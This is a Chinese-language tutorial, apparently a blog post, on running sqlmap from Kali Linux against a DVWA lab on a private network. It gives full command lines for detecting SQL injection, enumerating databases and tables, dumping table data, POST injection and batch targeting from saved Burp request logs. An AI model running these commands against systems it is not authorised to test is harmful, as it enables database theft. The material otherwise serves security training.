sqlmap使用
kali中sqlmap的使用
sqlmap简介:
- SQLmap是一个自动化的SQL注入攻击,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
- 目前支持Mysql、Oracle、MS-SQL、PostgreSQL与Access等数据库。
- SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包含数据库指纹、枚举、数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
sqlmap使用(本次是利用kail linux中自带的sqlmap进行介绍)
sqlmap -u(参数指定目标注入地址)检测出存在的利用漏洞
格式:sqlmap -u "url地址" --cookie="cookie信息" (若不需要登录就不需要后面的cookie)
获取系统基本信息(需要携带登录态,若不需要登录就不需要携带cookie)
root@tiankali:~# sqlmap -u "http://192.168.1.77:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=1cegouc0pe4am7rup4m2t4a746"
显示系统信息:
以上使用-u需要输入很多http的头部信息,我们可以使用-r,将http中的头部和cookie信息放到一个文件中;
sqlmap -r
格式:sqlmap -r 文件名 备注:创建的header.txt文件一定要在当前sqlmap的目录下面
创建header.txt文件,将header头部信息复制保持到该文件中;
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.1.77:88
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=low; PHPSESSID=1cegouc0pe4am7rup4m2t4a746
root@tiankali:~# sqlmap -r headersqlmap.txt
同样也获取到系统信息
--current-db
格式:sqlmap -u "指定目标注入地址" --cookie="登录后的cookie" --current-db 查看当前url使用的数据库名称
root@tiankali:~# sqlmap -u "http://192.168.1.77:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=1cegouc0pe4am7rup4m2t4a746" --current-db
sqlmap -dbs (获取数据库的所有库)
--dbs枚举数据库管理系统中的数据库名称
实现:查看数据库、扫描数据表、导出数据
--dbs 枚举数据库管理系统中的数据库名称:
实例:
sqlmap -u "http://192.168.1.80:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=v0nn9d7allmb6f4tk2m2an7de1;security=low" --dbs
列出的数据库:
--tables 枚举数据库中的表名称
root@tiankali:~# sqlmap -u "http://192.168.1.80:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=v0nn9d7allmb6f4tk2m2an7de1;security=low" --tables
数据表
--dump 转储数据库中的表数据
格式:sqlmap -u "url" cookie="cookie信息" --dump 所有数据库;
格式:sqlmap -ur "url" cookie="cookie信息" -D mysql --dump 指定数据库例如:mysql
格式:sqlmap -ur "url" cookie="cookie信息" -D mysql --dump -T help_keyword 获取指定数据库和数据表中数据 例如:mysql数据库中的help_keyword表
不指定数据库和数据表:
root@tiankali:~# sqlmap -u "http://192.168.1.80:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=v0nn9d7allmb6f4tk2m2an7de1;security=low" --dump
数据库中数据表中数据:
--dump-all 转储所有的数据库表中的数据
实例1:不指定数据库表转储所有数据库表中数据
root@tiankali:~# sqlmap -u "http://192.168.1.77:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=v0nn9d7allmb6f4tk2m2an7de1;security=low" --dump-all
实例2:指定数据库(-D)
root@tiankali:~# sqlmap -u "http://192.168.1.77:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=v0nn9d7allmb6f4tk2m2an7de1;security=low" -D mysql --dump
实例3:指定数据库-D -->数据表(-T)
root@tiankali:~# sqlmap -u "http://192.168.1.77:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=v0nn9d7allmb6f4tk2m2an7de1;security=low" -D mysql --dump -T help_keyword
如图:
实例4
指定数据 -D --->数据表-T ---> --columns 列出表中各个字段
root@tiankali:~# sqlmap -u "http://192.168.1.77:88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=1cegouc0pe4am7rup4m2t4a746" -D mysql -T help_keyword --columns
如图列出字段:
sqlmap post注入
--data=DATA 通过POST发送的数据字符串
格式:sqlmap -u "url" --cookie="" --data="post中的参数" --dbs
root@tiankali:~# sqlmap -u "http://192.168.1.77:88/dvwa/vulnerabilities/xss_s/" --cookie="security=low; PHPSESSID=1cegouc0pe4am7rup4m2t4a746" --data="txtName=11&mtxMessage=222&btnSign=Sign+Guestbook" --dbs
如图:
sql注入中出现的确认信息设置为自动处理
--batch 自动选yes
--smart 启发式快速判断
需要确定的地方自动选择yes
root@tiankali:~# sqlmap -u "http://192.168.1.77:88/dvwa/vulnerabilities/xss_s/" --cookie="security=low; PHPSESSID=1cegouc0pe4am7rup4m2t4a746" --data="txtName=11&mtxMessage=222&btnSign=Sign+Guestbook" --dbs --batch --smart
批量post注入
-l LIST 从Burp或webScarab代理的日志中解析目标,或自定义的模板。
(将请求header和cookie信息保存到)headersqlmap.txt中如图格式:
==========================================================
21:35:08 http://192.168.1.77:88 [192.168.1.77]
==========================================================
POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.1.77:88
Connection: keep-alive
Content-Length: 50
Cache-Control: max-age=0
Origin: http://192.168.1.77:88
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.77:88/dvwa/vulnerabilities/xss_s/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=low; PHPSESSID=1cegouc0pe4am7rup4m2t4a746
txtName=123&mtxMessage=4566&btnSign=Sign+Guestbook
==============================================================
==============================================================
21:35:08 http://192.168.1.77:88 [192.168.1.77]
==============================================================
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.1.77:88
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.77:88/dvwa/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=low; PHPSESSID=1cegouc0pe4am7rup4m2t4a746
==============================================================
执行:root@tiankali:~# sqlmap -l headersqlmap.txt --batch --smart